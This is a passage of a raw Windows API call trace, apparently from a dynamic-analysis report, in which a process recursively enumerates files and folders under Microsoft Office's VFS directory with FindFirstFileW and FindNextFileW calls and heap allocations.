lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1a046b0, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf1a046b0, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf1a046b0, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.NET", cAlternateFileName="MICROS~1.NET")) returned 1 [0288.625] GetProcessHeap () returned 0xaf0000 [0288.625] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0x3a61058 [0288.625] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesX64\\Microsoft.NET\\*", lpFindFileData=0x2fcec58 | out: lpFindFileData=0x2fcec58*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1a046b0, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf1a046b0, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf1a046b0, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xb03208 [0288.625] FindNextFileW (in: hFindFile=0xb03208, lpFindFileData=0x2fcec58 | out: lpFindFileData=0x2fcec58*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1a046b0, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf1a046b0, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf1a046b0, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0288.625] FindNextFileW (in: hFindFile=0xb03208, lpFindFileData=0x2fcec58 | out: lpFindFileData=0x2fcec58*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1a046b0, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf1a046b0, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf1a046b0, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ADOMD.NET", cAlternateFileName="")) returned 1 [0288.625] GetProcessHeap () returned 0xaf0000 [0288.625] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0x3666250 [0288.626] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesX64\\Microsoft.NET\\ADOMD.NET\\*", lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1a046b0, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf1a046b0, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf1a046b0, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xb02dc8 [0288.626] FindNextFileW (in: hFindFile=0xb02dc8, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1a046b0, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf1a046b0, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf1a046b0, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0288.626] FindNextFileW (in: hFindFile=0xb02dc8, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1a046b0, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf1a046b0, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf1a046b0, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="110", cAlternateFileName="")) returned 1 [0288.626] GetProcessHeap () returned 0xaf0000 [0288.626] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0x3696268 [0288.626] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesX64\\Microsoft.NET\\ADOMD.NET\\110\\*", lpFindFileData=0x2fce748 | out: lpFindFileData=0x2fce748*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1a046b0, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf1a046b0, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf1a046b0, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xb02ec8 [0288.626] FindNextFileW (in: hFindFile=0xb02ec8, lpFindFileData=0x2fce748 | out: lpFindFileData=0x2fce748*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1a046b0, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf1a046b0, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf1a046b0, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0288.627] FindNextFileW (in: hFindFile=0xb02ec8, lpFindFileData=0x2fce748 | out: lpFindFileData=0x2fce748*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf1a046b0, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf1a046b0, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf1a046b0, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0xafe30, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.AnalysisServices.AdomdClient.dll", cAlternateFileName="MICROS~1.DLL")) returned 1 [0288.627] FindNextFileW (in: hFindFile=0xb02ec8, lpFindFileData=0x2fce748 | out: lpFindFileData=0x2fce748*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf1a046b0, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf1a046b0, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf1a046b0, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0xafe30, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.AnalysisServices.AdomdClient.dll", cAlternateFileName="MICROS~1.DLL")) returned 0 [0288.627] FindClose (in: hFindFile=0xb02ec8 | out: hFindFile=0xb02ec8) returned 1 [0288.627] GetProcessHeap () returned 0xaf0000 [0288.627] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0x3696268 | out: hHeap=0xaf0000) returned 1 [0288.627] FindNextFileW (in: hFindFile=0xb02dc8, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1a046b0, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf1a046b0, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf1a046b0, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="110", cAlternateFileName="")) returned 0 [0288.627] FindClose (in: hFindFile=0xb02dc8 | out: hFindFile=0xb02dc8) returned 1 [0288.627] GetProcessHeap () returned 0xaf0000 [0288.627] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0x3666250 | out: hHeap=0xaf0000) returned 1 [0288.628] FindNextFileW (in: hFindFile=0xb03208, lpFindFileData=0x2fcec58 | out: lpFindFileData=0x2fcec58*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1a046b0, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf1a046b0, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf1a046b0, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ADOMD.NET", cAlternateFileName="")) returned 0 [0288.628] FindClose (in: hFindFile=0xb03208 | out: hFindFile=0xb03208) returned 1 [0288.628] GetProcessHeap () returned 0xaf0000 [0288.628] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0x3a61058 | out: hHeap=0xaf0000) returned 1 [0288.628] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1a046b0, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf1a046b0, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf1a046b0, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.NET", cAlternateFileName="MICROS~1.NET")) returned 0 [0288.628] FindClose (in: hFindFile=0xb02c08 | out: hFindFile=0xb02c08) returned 1 [0288.628] GetProcessHeap () returned 0xaf0000 [0288.628] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0x36cc2b0 | out: hHeap=0xaf0000) returned 1 [0288.629] FindNextFileW (in: hFindFile=0xb03148, lpFindFileData=0x2fcf168 | out: lpFindFileData=0x2fcf168*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x845a7d02, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x17c93f4, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x17c93f4, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="ProgramFilesX86", cAlternateFileName="PROGRA~2")) returned 1 [0288.629] GetProcessHeap () returned 0xaf0000 [0288.629] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0x36cc2b0 [0288.629] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesX86\\*", lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x845a7d02, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x17c93f4, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x17c93f4, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xb03208 [0288.629] FindNextFileW (in: hFindFile=0xb03208, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x845a7d02, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x17c93f4, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x17c93f4, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0288.629] FindNextFileW (in: hFindFile=0xb03208, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf17ee5c3, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf17ee5c3, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf17ee5c3, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft Analysis Services", cAlternateFileName="MICROS~2")) returned 1 [0288.629] GetProcessHeap () returned 0xaf0000 [0288.629] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0x3a61058 [0288.630] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesX86\\Microsoft Analysis Services\\*", lpFindFileData=0x2fcec58 | out: lpFindFileData=0x2fcec58*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf17ee5c3, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf17ee5c3, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf17ee5c3, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xb02c08 [0288.630] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2fcec58 | out: lpFindFileData=0x2fcec58*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf17ee5c3, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf17ee5c3, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf17ee5c3, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0288.630] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2fcec58 | out: lpFindFileData=0x2fcec58*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf17ee5c3, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf17ee5c3, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf17ee5c3, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="AS OLEDB", cAlternateFileName="ASOLED~1")) returned 1 [0288.630] GetProcessHeap () returned 0xaf0000 [0288.630] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0x3666250 [0288.630] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesX86\\Microsoft Analysis Services\\AS OLEDB\\*", lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf17ee5c3, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf17ee5c3, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf17ee5c3, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xb02dc8 [0288.630] FindNextFileW (in: hFindFile=0xb02dc8, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf17ee5c3, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf17ee5c3, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf17ee5c3, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0288.631] FindNextFileW (in: hFindFile=0xb02dc8, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf17ee5c3, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x2b0d4700, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x2b0d4700, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="110", cAlternateFileName="")) returned 1 [0288.631] GetProcessHeap () returned 0xaf0000 [0288.631] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0x3696268 [0288.631] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesX86\\Microsoft Analysis Services\\AS OLEDB\\110\\*", lpFindFileData=0x2fce748 | out: lpFindFileData=0x2fce748*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf17ee5c3, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x2b0d4700, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x2b0d4700, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xb02ec8 [0288.631] FindNextFileW (in: hFindFile=0xb02ec8, lpFindFileData=0x2fce748 | out: lpFindFileData=0x2fce748*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf17ee5c3, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x2b0d4700, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x2b0d4700, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0288.631] FindNextFileW (in: hFindFile=0xb02ec8, lpFindFileData=0x2fce748 | out: lpFindFileData=0x2fce748*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2afef8f7, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x2b0ae4ba, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x2b0ae4ba, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Cartridges", cAlternateFileName="CARTRI~1")) returned 1 [0288.631] GetProcessHeap () returned 0xaf0000 [0288.632] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0x3a72870 [0288.632] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesX86\\Microsoft Analysis Services\\AS OLEDB\\110\\Cartridges\\*", lpFindFileData=0x2fce4c0 | out: lpFindFileData=0x2fce4c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2afef8f7, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x2b0ae4ba, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x2b0ae4ba, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xb02f08 [0288.633] FindNextFileW (in: hFindFile=0xb02f08, lpFindFileData=0x2fce4c0 | out: lpFindFileData=0x2fce4c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2afef8f7, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x2b0ae4ba, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x2b0ae4ba, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0288.633] FindNextFileW (in: hFindFile=0xb02f08, lpFindFileData=0x2fce4c0 | out: lpFindFileData=0x2fce4c0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x2b015b1d, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x2b015b1d, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x2b015b1d, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x43e4, dwReserved0=0x0, dwReserved1=0x0, cFileName="as80.xsl", cAlternateFileName="")) returned 1 [0288.633] FindNextFileW (in: hFindFile=0xb02f08, lpFindFileData=0x2fce4c0 | out: lpFindFileData=0x2fce4c0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x2b015b1d, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x2b015b1d, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x2b015b1d, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x49ba, dwReserved0=0x0, dwReserved1=0x0, cFileName="as90.xsl", cAlternateFileName="")) returned 1 [0288.633] FindNextFileW (in: hFindFile=0xb02f08, lpFindFileData=0x2fce4c0 | out: lpFindFileData=0x2fce4c0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x2b015b1d, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x2b015b1d, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x2b015b1d, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x75ab, dwReserved0=0x0, dwReserved1=0x0, cFileName="db2v0801.xsl", cAlternateFileName="")) returned 1 [0288.633] FindNextFileW (in: hFindFile=0xb02f08, lpFindFileData=0x2fce4c0 | out: lpFindFileData=0x2fce4c0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x2afef8f7, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x2afef8f7, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x2b015b1d, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1816e, dwReserved0=0x0, dwReserved1=0x0, cFileName="hive.xsl", cAlternateFileName="")) returned 1 [0288.633] FindNextFileW (in: hFindFile=0xb02f08, lpFindFileData=0x2fce4c0 | out: lpFindFileData=0x2fce4c0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x2afef8f7, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x2afef8f7, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x2afef8f7, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x7b27, dwReserved0=0x0, dwReserved1=0x0, cFileName="Informix.xsl", cAlternateFileName="")) returned 1 [0288.634] FindNextFileW (in: hFindFile=0xb02f08, lpFindFileData=0x2fce4c0 | out: lpFindFileData=0x2fce4c0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x2b015b1d, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x2b015b1d, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x2b015b1d, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x7339, dwReserved0=0x0, dwReserved1=0x0, cFileName="msjet.xsl", cAlternateFileName="")) returned 1 [0288.634] FindNextFileW (in: hFindFile=0xb02f08, lpFindFileData=0x2fce4c0 | out: lpFindFileData=0x2fce4c0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x2afef8f7, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x2afef8f7, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x2afef8f7, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x8a2a, dwReserved0=0x0, dwReserved1=0x0, cFileName="orcl7.xsl", cAlternateFileName="")) returned 1 [0288.634] FindNextFileW (in: hFindFile=0xb02f08, lpFindFileData=0x2fce4c0 | out: lpFindFileData=0x2fce4c0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x2afef8f7, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x2afef8f7, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x2afef8f7, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x858c, dwReserved0=0x0, dwReserved1=0x0, cFileName="sql2000.xsl", cAlternateFileName="")) returned 1 [0288.634] FindNextFileW (in: hFindFile=0xb02f08, lpFindFileData=0x2fce4c0 | out: lpFindFileData=0x2fce4c0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x2b0ae4ba, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x2b0ae4ba, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x2b0ae4ba, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x7e02, dwReserved0=0x0, dwReserved1=0x0, cFileName="sql70.xsl", cAlternateFileName="")) returned 1 [0288.634] FindNextFileW (in: hFindFile=0xb02f08, lpFindFileData=0x2fce4c0 | out: lpFindFileData=0x2fce4c0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x2b0ae4ba, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x2b0ae4ba, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x2b0ae4ba, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x18559, dwReserved0=0x0, dwReserved1=0x0, cFileName="sql90.xsl", cAlternateFileName="")) returned 1 [0288.634] FindNextFileW (in: hFindFile=0xb02f08, lpFindFileData=0x2fce4c0 | out: lpFindFileData=0x2fce4c0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x2b0882a6, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x2b0882a6, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x2b0882a6, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1393e, dwReserved0=0x0, dwReserved1=0x0, cFileName="sqlpdw.xsl", cAlternateFileName="")) returned 1 [0288.634] FindNextFileW (in: hFindFile=0xb02f08, lpFindFileData=0x2fce4c0 | out: lpFindFileData=0x2fce4c0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x2b0ae4ba, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x2b0ae4ba, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x2b0ae4ba, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x76a1, dwReserved0=0x0, dwReserved1=0x0, cFileName="Sybase.xsl", cAlternateFileName="")) returned 1 [0288.634] FindNextFileW (in: hFindFile=0xb02f08, lpFindFileData=0x2fce4c0 | out: lpFindFileData=0x2fce4c0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x2b0ae4ba, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x2b0ae4ba, ftLastAccessTime.dwHighDateTime=0x1d327e8, 